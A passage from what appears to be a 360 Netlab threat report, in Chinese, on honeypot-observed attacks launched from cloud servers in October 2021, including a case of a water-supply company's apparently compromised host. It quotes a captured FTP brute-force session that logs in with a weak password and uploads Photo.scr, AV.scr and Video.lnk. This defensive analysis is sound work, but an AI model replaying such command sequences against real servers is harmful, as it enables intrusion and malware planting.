1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">25</span></p>\n </td>\n <td width=\"80\" nowrap=\"\" style=\"width:60.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">9</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:2;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">139.59. *.*</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"89\" nowrap=\"\" style=\"width:66.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">45</span></p>\n </td>\n <td width=\"80\" nowrap=\"\" style=\"width:60.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">9</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:3;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">128.199. *.*</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"89\" nowrap=\"\" style=\"width:66.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">36</span></p>\n </td>\n <td width=\"80\" nowrap=\"\" style=\"width:60.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">9</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:4;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">47.245. *.*</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"89\" nowrap=\"\" style=\"width:66.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">41</span></p>\n </td>\n <td width=\"80\" nowrap=\"\" style=\"width:60.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">9</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:5;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">130.61. *.*</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"89\" nowrap=\"\" style=\"width:66.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">14</span></p>\n </td>\n <td width=\"80\" nowrap=\"\" style=\"width:60.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">8</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:6;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">139.224. *.*</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"89\" nowrap=\"\" style=\"width:66.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">21</span></p>\n </td>\n <td width=\"80\" nowrap=\"\" style=\"width:60.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">8</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:7;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">140.238. *.*</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"89\" nowrap=\"\" style=\"width:66.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">23</span></p>\n </td>\n <td width=\"80\" nowrap=\"\" style=\"width:60.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">8</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:8;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:\n accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:68\"><b><span lang=\"EN-US\">121.37. *.*</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"89\" nowrap=\"\" style=\"width:66.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">8</span></p>\n </td>\n <td width=\"80\" nowrap=\"\" style=\"width:60.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;\n mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right;mso-yfti-cnfc:64\"><span lang=\"EN-US\">7</span></p>\n </td>\n </tr>\n <tr style=\"mso-yfti-irow:9;mso-yfti-lastrow:yes;height:10.8pt\">\n <td width=\"141\" nowrap=\"\" style=\"width:106.1pt;border:solid #C9C9C9 1.0pt;\n mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;\n mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;\n mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:\n accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <div>\n <p class=\"MsoNormal\" align=\"center\" style=\"text-align:center;mso-yfti-cnfc:4\"><b><span lang=\"EN-US\">124.70. *.*</span></b><b><span lang=\"EN-US\" style=\"mso-bidi-font-size:\n 12.0pt;font-family:宋体;mso-bidi-font-family:宋体\"><o:p></o:p></span></b></p>\n </div>\n </td>\n <td width=\"89\" nowrap=\"\" style=\"width:66.75pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">7</span></p>\n </td>\n <td width=\"80\" nowrap=\"\" style=\"width:60.1pt;border-top:none;border-left:none;\n border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;\n mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:\n accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;\n mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:\n solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:\n 153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;\n mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:10.8pt\">\n <p class=\"MsoNormal\" align=\"right\" style=\"text-align:right\"><span lang=\"EN-US\">7</span></p>\n </td>\n </tr>\n</tbody></table>\n\n</div>"}],["image",{"src":"__GHOST_URL__/content/images/2021/11/9-2.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/11/---1.png"}],["image",{"src":"__GHOST_URL__/content/images/2021/11/---2.png"}],["markdown",{"markdown":"USER admin \nPASS 123qwe!@# \nPWD\nCWD / \nPASV\nSTOR //Photo.scr \nPASV\nPASV\nSTOR //AV.scr \nPASV\nPASV\nSTOR //Video.lnk\nPASV \nTYPE A\nPASV "}]],"markups":[["strong"]],"sections":[[1,"h2",[[0,[],0,"1 概述"]]],[1,"p",[[0,[],0,"云计算服务价格低廉，部署快捷方便，但存在安全风险。黑客可以用虚假信息购买，或入侵他人机器获得云资源，用这些资源窃取、勒索原有用户的数据，或用于发起DDoS攻击、发送垃圾和钓鱼邮件、虚拟货币挖矿、刷单、违法代理和传播僵尸网络木马等其他恶意行为。"]]],[1,"p",[[0,[],0,"360网络安全研究院 Anglerfish蜜罐（以下简称“蜜罐系统”）通过模拟仿真技术伪装成针对互联网、物联网以及工业互联网的指纹特征、应用协议、应用程序和漏洞，捕获并分析网络扫描和网络攻击行为。在2021年10月，我们共监测到来自全球58253个云服务器IP共计9213万次的网络扫描和攻击，其中发现云上网站“"],[0,[0],1,"某市供排水总公司”持续地对外发起"],[0,[],0,"网络攻击行为。"]]],[1,"h2",[[0,[],0,"2 云服务器攻击总体情况"]]],[1,"p",[[0,[],0,"由于IPv4地址和网络端口数量是有限的，黑客通过购买或入侵获取云服务器资源后，会扫描互联网IP地址，确定攻击目标。公网上的蜜罐系统模拟成相关设备和应用程序后，就有可能被黑客攻击。因此，蜜罐系统可以用于监测互联网上包括利用云服务器发起攻击在内的各类网络攻击行为。"]]],[1,"p",[[0,[],0,"我们的数据来源除了蜜罐系统搜集到的网络五元组、网络数据包和恶意软件样本信息外，还包括一个覆盖国内外十几家主流厂商的云服务器IP段列表。"]]],[1,"h3",[[0,[],0,"云服务器攻击源IP的时间趋势和空间分布"]]],[1,"p",[[0,[],0,"从时间趋势上看，在10月份的大多数时间里，蜜罐系统每天发现具有攻击行为的云服务器IP地址600~1000个，攻击会话数1万条左右。"]]],[1,"p",[[0,[],0,"在10月14日、30日和31日，会话数出现了高于稳定范围的突增，其中IP地址为51.141.*.*的云服务器在多个端口利用MikroTik路由器设备的CVE-2018-14847漏洞进行攻击引起了10月14日会话数的突增，IP地址为143.198.*.*的云服务器发起的Telnet暴力破解引起了10月30日和31日的会话数的突增。"]]],[10,0],[1,"p",[[0,[],0,"从地理位置上看，云服务器攻击源IP在亚洲、欧洲和北美洲较多，而在非洲、南美洲较少。中国和美国是攻击源IP数量最多的两个国家。"]]],[10,1],[1,"p",[[0,[],0,"位于中国的云服务器攻击源IP分布在华北地区、东南沿海地区和西南地区，集中在北京、上海、广东、浙江等互联网和云计算行业较为发达的地区。"]]],[10,2],[1,"h2",[[0,[],0,"3 云服务器上的恶意行为"]]],[1,"h3",[[0,[],0,"使用云产品进行攻击"]]],[1,"p",[[0,[],0,"使用云产品进行的攻击行为类型包括DDoS攻击、WEB攻击、密码爆破攻击，传播木马病毒、僵尸网络的C2服务器等。"]]],[1,"p",[[0,[],0,"在密码爆破攻击方面，10月份我们共监测到"],[0,[0],1,"854个"],[0,[],0,"云服务器源IP发起了"],[0,[0],1,"约25.7万次"],[0,[],0,"的密码爆破攻击，其中对Telnet协议的爆破攻击最为常见。"]]],[1,"p",[[0,[],0,"下表提供了10月份爆破攻击次数最多的10个云服务器的IP地址。"]]],[10,3],[1,"p",[[0,[],0,"此外，我们发现一个IP地址为"],[0,[0],1,"47.92.*.*"],[0,[],0,"的云服务器在10月份发起了306次FTP爆破攻击。我们还发现该服务器上架设了一个网站，所有者是"],[0,[0],1,"某市供排水总公司"],[0,[],0,"。我们对该案例进行了详细分析，具体内容请见第4节。"]]],[1,"p",[[0,[],0,"在传播木马病毒、僵尸网络等恶意程序方面，10月份我们共监测到"],[0,[0],1,"3324个"],[0,[],0,"云计算IP地址传播了"],[0,[0],1,"157种恶意软件约88.2万次"],[0,[],0,"。"]]],[1,"p",[[0,[],0,"云服务器攻击者最流行的恶意软件家族类型包括了木马下载器（TrojanDownloader）、恶意挖矿软件（CoinMiner）、Tsunami僵尸网络程序等。在整个10月份，有近3000个云服务器IP发起了近27万次会话以传播恶意挖矿软件。恶意挖矿软件已经成为当前云服务器恶意软件中最主要突出的问题。"]]],[10,4],[1,"p",[[0,[],0,"下表是传播恶意软件最活跃的10个IP。"]]],[10,5],[1,"p",[[0,[],0,"下表是传播恶意软件家族种类最为广泛的10个IP。IP传播的恶意软件家族种类多，说明背后的黑客掌握了更多的攻击手段，对被攻击目标更具有威胁。"]]],[10,6],[1,"p",[[0,[],0,"下面是恶意软件的下载URL中提取的下载服务器的IP/域名，建议屏蔽："]]],[10,7],[1,"h3",[[0,[],0,"卸载云主机安全产品"]]],[1,"p",[[0,[],0,"主流的云厂商在提供云服务的同时提供配套的免费或收费的主机安全产品。在开始进攻其他云服务器时，黑客通常首先会尝试卸载目标主机上预装的安全产品，以避免后续攻击过程被发现和阻止。"]]],[1,"p",[[0,[],0,"以下是发送卸载云主机安全产品的恶意软件次数最多的10个IP。"]]],[10,8],[1,"p",[[0,[],0,"执行卸载主机安全产品行为的软件和脚本主要通过以下这些IP/域名下载。"]]],[10,9],[1,"p",[[0,[],0,"这些恶意软件的下载服务器主要分布在欧洲和美国。"]]],[1,"h3",[[0,[],0,"漏洞的扫描和攻击"]]],[1,"p",[[0,[],0,"大多数云服务器攻击者倾向于使用热门应用程序的旧漏洞。我们发现，排除掉暴力破解后，云服务器攻击者最喜欢使用Redis漏洞。此外，NVR、DVR、网络摄像头等安防设备和路由器设备的漏洞也是云服务器漏洞攻击的主要目标。"]]],[10,10],[1,"p",[[0,[],0,"被云服务器攻击者攻击最多的程序是Redis，其他包括MikroTik、GoAhead、DLink、ATLASSIAN等厂商的设备和程序也是主要的被攻击目标。"]]],[10,11],[1,"p",[[0,[],0,"以下是利用的漏洞种类最多的10个IP。"]]],[10,12],[1,"h2",[[0,[],0,"4 案例分析"]]],[1,"p",[[0,[],0,"在对云服务器密码爆破攻击行为的分析中，一个IP地址为"],[0,[0],1,"47.92.*.*"],[0,[],0,"的云主机引起了我们的兴趣。其特点包括：该IP地址同时提供了"],[0,[0],1,"某市供排水公司"],[0,[],0,"官网服务；该IP地址对外发起了大量攻击；该IP地址可能存在公民信息泄漏隐患。"]]],[10,13],[1,"p",[[0,[],0,"该网站可能存储了大量的公民个人身份信息和水费账户信息。考虑到黑客入侵后可能获得了系统全部权限，上述公民信息有泄漏隐患。"]]],[1,"p",[[0,[],0,"这个IP在10月份有2天较为活跃，分别是在10月1日和28日，活跃时间主要在北京时间晚上20~24点（图中为UTC时间，北京时间需要+8小时）。"]]],[10,14],[1,"p",[[0,[],0,"该IP主要访问21和2121的FTP端口，以及一些接近60000的高端口，其中21和2121端口的Payload是FTP的控制命令，高端口的Payload是样本文件的数据。该IP在21和2121端口上进行FTP服务器弱密码爆破，爆破成功后在被动模式下通过接近60000的随机端口上传Photo.scr、AV.scr和Video.lnk三个文件。"]]],[10,15],[1,"p",[[0,[],0,"以下是其中一条FTP暴力破解的控制Payload，可以看出从密码爆破到发送恶意文件的完整攻击过程："]]],[10,16],[1,"h2",[[0,[],0,"5 防护建议 